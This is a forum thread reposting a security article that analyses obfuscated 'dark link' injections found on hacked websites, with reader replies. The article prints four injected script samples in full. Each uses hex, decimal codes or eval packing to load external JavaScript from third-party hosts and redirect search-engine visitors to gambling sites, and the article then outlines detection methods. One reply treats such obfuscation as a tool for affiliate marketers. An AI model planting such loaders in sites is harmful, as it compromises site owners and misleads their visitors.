AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Binom
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G⚡️最干净<Wifi住宅+5G移动>IP代理指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利广告开户独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户一手BM分享户不限额9Proxy ⚡️ $0.04/IP, 无限带宽
FB二三解0.1元一个虚拟卡|PTM星际卡FB专用虚拟卡Google、Bing官方总代  联盟流量开户
FB账号资源/稳定靠谱/运行5年啦FB开户代投/三不限/白名单fb耐用号0.01一个fb账号官方合作商
搜索套利开户❤️Bigo/Kwai/MediagoFB资源,账单户,分享户,国内一手FB企业户BM户账单户源头广告位出租
查看: 11474|回复: 13

[外链] 暗链基本手法分析 - 来自freebuf

[复制链接]

1621

主题

2万

广告币

2万

积分

管理员

宇宙无敌河马天神

Rank: 9Rank: 9Rank: 9

积分
29814

社区QQ达人

发表于 2021-3-4 11:08:14 | 显示全部楼层 |阅读模式
这是在freebuf 上看到的,我觉得很有科普的意义,就转载过来.

什么是暗链?
暗链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的webshell,进而在被黑网站上链接自己的网站,其性质与明链一致,都是属于为高效率提升排名,而使用的作弊手法。

暗链分类:
在学习分析暗链的过程中感觉很多文章都没有对暗链有一个统一的分类,有些文章甚至把挂马和暗链混为一潭,所以我在这里先把暗链分为这么两类,以便后续分析:
  1. JS引入型暗链——通过修改网站title,引入外部JavaScript代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部JavaScript代码实现跳转到非法网站。这种暗链是本文研究的重点。

  2. html隐藏型暗链——通过css或者JavaScript代码隐藏暗链,通常是通过position为负数,或者将display设置为none等方式来隐藏,目的是为了提升非法网站的SEO排名,但是这种暗链已经越来越少了,现在的暗链大部分都是JS引入型暗链直接跳转,故此种手法本文不做研究。
复制代码



几种常见的JS引入型暗链

一: Javascript 中window对象引入暗链
这种手法的原理是调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的。废话不多讲,直接上案例



这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符。
  1. <title>&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#32;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#32;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#45;&#21271;&#20140;&#112;&#107;&#49;&#48;&#30452;&#25773;&#32593;</title> <meta name="keywords" content="&#21271;&#20140;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#25237;&#27880;&#32593;&#31449;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#44;&#21271;&#20140;&#36187;&#36710;&#35270;&#39057;&#32593;" /> <meta name="description" content="&#12304;&#49;&#49;&#48;&#48;&#107;&#97;&#105;&#46;&#99;&#111;&#109;&#12305;&#32463;&#21271;&#20140;&#31119;&#24425;&#23448;&#32593;&#25480;&#26435;&#44;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#26597;&#35810;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#22312;&#32447;&#25237;&#27880;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#26368;&#19987;&#19994;&#30340;&#21271;&#20140;&#36187;&#36710;&#30452;&#25773;&#32593;&#33;"/>
复制代码




将这些十进制unicode编码丢到站长工具中解密:



可以看到真实内容其实是这些。

接着分析JavaScript代码部分
  1. <script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>
复制代码



可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性;后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title。我们将上面这段代码中的16进制编码丢到16进制解密工具中。



这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。(关于引入的外部JavaScript代码片段后续文章继续讲解,本文先讲引入手法)


二: JavaScript中String.fromCharCode方法引入暗链


这种引入方式也是现在比较多的一种,原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面,废话不多说,上案例。



前面的title、keywords、description还是那么的如出一辙,那么的熟悉的10进制unicode编码。放进站长工具转换一波。



这熟悉的文字,啧啧啧

下面分析JavaScript代码部分


  1. <script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="系统登录,XXX管理系统 "}</script><script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>
复制代码



还是那个味儿,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现。首先将这一串10进制ASCII码转换为了String字符串。我们可以使用python中的chr()方法解码得到他的真实字符串。





然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。

三:使用十进制unicode编码引入JavaScript

这种方法是通过引入JavaScript时,<script src="XX">通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章

废话不多说,上案例:




十进制unicode的编码的title啥的就不讨论了,前面已经讲过了,直接看JavaScript部分

  1. <script type="text/javascript" src="&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#99;&#113;&#105;&#97;&#110;&#46;&#99;&#110;&#47;&#97;&#121;&#120;&#49;&#54;&#56;&#46;&#106;&#115;"></script>
复制代码



可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。

我们将十进制unicode编码丢进站长工具中解码



可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。


主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的,才会进行跳转。太可恶了!

四:JavaScript中eval函数混淆引入

先看eval函数的作用:





好家伙,是不是有点webshell那味儿了,但是这个方法在JavaScript中用的并不多。使用这个方法的地方一般是一些需要混淆加密的代码才用,黑客就利用上了这个来实现混淆加密自己的暗链。

废话不多说,直接上案例:



十进制unicode编码的title啥的我就不翻译了,上面都讲过了,直接开始分析JavaScript代码部分
  1. <script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))
  2. </script>
复制代码


乍一看非常的懵逼,仔细一看还是懵逼,不过没关系,既然这么懵逼的东西浏览器可以解析,那就证明这东西可以逆着推

我们直接上前人写好的eval函数混淆工具,丢进去解密



哦豁,可以看到解密之后原来是我前面说的第一中window对象引入的手法呀,那么我们就可以重复前面的手法,解密16进制代码,得到真实内容如下



其实还是使用了document.write方法将外部JavaScript代码引入当前页面,只不过使用了eval函数进行混淆罢了。

其实细想想,eval函数不仅可以配合我前面写的第一种方式引入,还可以配合第二种、第三种,因为eval函数的作用说白了就是混淆一遍代码。


自动化检测思路

正所谓“懒是人类进步的阶梯”,一切能用工具代替的工作我们人类尽量不要用手去做,所以我从几个方面思考了一下面对这种新时代暗链的自动化检测思路,得出下面这么几条心得,但是怎么去用代码实现,我这就不讨论了。

对于windows对象引入的,判断其是否使用了16进制代码,如果使用了,那么怀疑度+1。然后再判断16进制代码解析之后的内容,如果出现了script字样,到这基本就可以判断是不是暗链了。如果还是觉得不保险,可以看其是否引入了外部js,如果引入了,再结合威胁情报等工具,就可以做出判断了。
对于使用十进制ASCII码进行伪装的暗链,可以判断其变量是否被document.wirte对象引用了,如果引用了再判断其十进制ASCII码的内容,剩下的步骤和上面一样。
对于改变script标签src属性的暗链,可以直接翻译其10进制unicode编码,结合威胁情报或者跟进JavaScript代码等方式进行判断。
对于eval函数混淆的暗链,可以先走一个逆向的过程,然后的分析步骤就和上面三种一样了。



文章来源:
  1. https://www.freebuf.com/articles/web/260516.html
复制代码







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子

本帖被以下淘专辑推荐:

学会提问的艺术, 从小处入手, 忌大而空
AdvertCN电报群

我最喜欢用的工具
7200W全球动态不重复住宅IP代理
回复

使用道具 举报

9

主题

909

广告币

1459

积分

高级会员

Rank: 4

积分
1459

社区QQ达人

发表于 2021-3-4 11:28:08 | 显示全部楼层
已有1人评分           广告币             理由
     河小马             +5,000,000       太帅了
回复 支持 反对

使用道具 举报

77

主题

4293

广告币

5187

积分

版主

Rank: 7Rank: 7Rank: 7

积分
5187

社区QQ达人

发表于 2021-3-4 11:32:20 | 显示全部楼层
就是以前的挂黑链吧,09 10年那会贼流行,各种扫端口工具,扫出来的网站基本都是挂满黑链
回复 支持 反对

使用道具 举报

79

主题

3919

广告币

5676

积分

版主

Rank: 7Rank: 7Rank: 7

积分
5676

社区QQ达人

发表于 2021-3-4 11:55:31 | 显示全部楼层
我的网站去年7月份被人搞过一次,跟这个帖子讲的简直一模一样。

我根据我的亲身体验补充一下手段

1.假设这个网站有很多文章,那么最隐蔽的方法,就是在旧文章上添加链接,这种不懂SEO工具的,很难查出来的。反方式就是用ahref检查下整站的出站链接,看看有没有不是自己链接出去的网站域名。当然也有新增文章的,这样的链接更加相关,也更加有效一点。解决方法大致就是搜索文章中的链接,或者文字,然后删除。

2.在wordpress的每个目录下,在目录的描述中注入上述帖子中的代码,不是以代码的形式主图的,而是类似一个视频的资源注入的,非常隐蔽,显示就像一个音频的样式一样,不认真检查真的检查不出来。这个我们平时要养成习惯,每隔一段时间检查一下网站的情况。这种就是帖子中讲的暗链。

这些链接一定要及时删除,我的网站被挂过x站,gamble网站的外链,都是不相关的。
回复 支持 反对

使用道具 举报

12

主题

654

广告币

789

积分

中级会员

Rank: 3Rank: 3

积分
789
发表于 2021-3-4 11:59:30 | 显示全部楼层
技术档,看不懂...
.
寻----兼职机会★懂英语★熟外贸★写文案★会视频剪辑
V❤:丫iωu⑤①⑧⑧
.
.
回复 支持 反对

使用道具 举报

94

主题

2108

广告币

2992

积分

高级会员

Rank: 4

积分
2992

社区QQ达人

发表于 2021-3-4 13:02:41 | 显示全部楼层
挂js的还有可能是劫持流量
回复 支持 反对

使用道具 举报

34

主题

749

广告币

964

积分

中级会员

Rank: 3Rank: 3

积分
964
发表于 2021-3-4 13:13:30 | 显示全部楼层

点评

这判断是搜索引擎还是正常人,是搜索引擎则返回构造好的内容。 这是单纯做广告不是做seo吧  详情 回复 发表于 2021-3-4 13:22
卧槽。。。你这个例子厉害。。。  详情 回复 发表于 2021-3-4 13:20
回复 支持 反对

使用道具 举报

1621

主题

2万

广告币

2万

积分

管理员

宇宙无敌河马天神

Rank: 9Rank: 9Rank: 9

积分
29814

社区QQ达人

 楼主| 发表于 2021-3-4 13:20:25 | 显示全部楼层
sohusec 发表于 2021-3-4 13:13
https://www.baidu.com/s?ie=UTF-8&wd=80568.036
国内这样玩

卧槽。。。你这个例子厉害。。。
学会提问的艺术, 从小处入手, 忌大而空
AdvertCN电报群

我最喜欢用的工具
7200W全球动态不重复住宅IP代理
回复 支持 反对

使用道具 举报

1

主题

18

广告币

39

积分

初级会员

Rank: 2

积分
39
发表于 2021-3-4 13:22:35 | 显示全部楼层
sohusec 发表于 2021-3-4 13:13
https://www.baidu.com/s?ie=UTF-8&wd=80568.036
国内这样玩

这判断是搜索引擎还是正常人,是搜索引擎则返回构造好的内容。

这是单纯做广告不是做seo吧
life is a fucking movie         .
回复 支持 反对

使用道具 举报

176

主题

1061

广告币

4117

积分

超级版主

Rank: 8Rank: 8

积分
4117

社区QQ达人

发表于 2021-3-4 16:15:06 | 显示全部楼层
这个是老套路了,18年就遇到过

当时碰到的是16进制编码,和lander里面的日期捆绑在一起
缅怀骄阳
此ID(小白龙)仅限在论坛使用,其他平台发生的任何交易纠纷与本人无关,善用搜索远离骗子
回复 支持 反对

使用道具 举报

28

主题

80

广告币

246

积分

初级会员

Rank: 2

积分
246
发表于 2021-3-4 19:55:28 | 显示全部楼层
河马这里提到的植入暗链,从编程的角度来说就是混淆加密的过程。
你可以理解为你现在获取了在对方网站加入JS的权限,现在的问题就是怎么加这段JS而变得隐秘而不被人发现了。

前端代码加密混淆有一些开源工具,也有一些商业化方案。我们AFF/SEOer用用开源方案就好了。

但不管怎么加密,只是增加了代码的“阅读理解”难度,真的想分析还是可以通过工具去解析的。
回复 支持 反对

使用道具 举报

3

主题

85

广告币

173

积分

初级会员

Rank: 2

积分
173
发表于 2021-3-8 11:13:52 | 显示全部楼层
被这样搞过,但是个人站长非程序员,该如何扫描和防范呢?搞别人是搞不了了。

点评

有一些扫描器可以试试  详情 回复 发表于 2021-3-8 11:26
回复 支持 反对

使用道具 举报

1621

主题

2万

广告币

2万

积分

管理员

宇宙无敌河马天神

Rank: 9Rank: 9Rank: 9

积分
29814

社区QQ达人

 楼主| 发表于 2021-3-8 11:26:30 | 显示全部楼层
myadvertise 发表于 2021-3-8 11:13
被这样搞过,但是个人站长非程序员,该如何扫描和防范呢?搞别人是搞不了了。 ...

有一些扫描器可以试试

点评

谢谢老大  详情 回复 发表于 2021-3-8 11:28
学会提问的艺术, 从小处入手, 忌大而空
AdvertCN电报群

我最喜欢用的工具
7200W全球动态不重复住宅IP代理
回复 支持 反对

使用道具 举报

3

主题

85

广告币

173

积分

初级会员

Rank: 2

积分
173
发表于 2021-3-8 11:28:14 | 显示全部楼层
河小马 发表于 2021-3-8 11:26
有一些扫描器可以试试

谢谢老大
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2024-12-23 10:33 , Processed in 0.066606 second(s), 20 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表